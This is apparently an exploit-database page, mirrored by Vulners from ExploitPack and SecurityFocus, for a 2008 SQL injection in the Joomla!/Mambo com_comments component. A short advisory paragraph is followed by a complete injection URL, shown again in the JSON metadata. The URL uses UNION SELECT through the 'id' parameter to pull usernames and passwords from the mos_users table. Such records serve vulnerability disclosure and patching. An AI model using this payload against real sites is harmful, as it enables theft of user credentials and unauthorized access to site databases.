Search...

Joomla! Mambo Component com_comments 0.5.8.5g - id SQL Injection

2008-02-11T00:00:00

ID EXPLOITPACK:2D29F65B475E844AA65332499E35607D
Type exploitpack
Reporter CheebaHawk215
Modified 2008-02-11T00:00:00

Description

Joomla! Mambo Component com_comments 0.5.8.5g - id SQL Injection

                                        
                                            source: https://www.securityfocus.com/bid/27731/info

The Joomla! and Mambo 'com_comments' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:22", "references": [], "description": "\nJoomla! Mambo Component com_comments 0.5.8.5g - id SQL Injection", "edition": 1, "reporter": "CheebaHawk215", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2008-02-11T00:00:00", "title": "Joomla! Mambo Component com_comments 0.5.8.5g - id SQL Injection", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:22", "rev": 2}, "score": {"value": 0.3, "vector": "NONE", "modified": "2020-04-01T19:04:22", "rev": 2}, "vulnersScore": 0.3}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2008-02-11T00:00:00", "id": "EXPLOITPACK:2D29F65B475E844AA65332499E35607D", "href": "", "viewCount": 0, "sourceData": "source: https://www.securityfocus.com/bid/27731/info\n\nThe Joomla! and Mambo 'com_comments' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.\n\nExploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.\n\nhttp://www.example.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1", "cvss": {"score": 0.0, "vector": "NONE"}}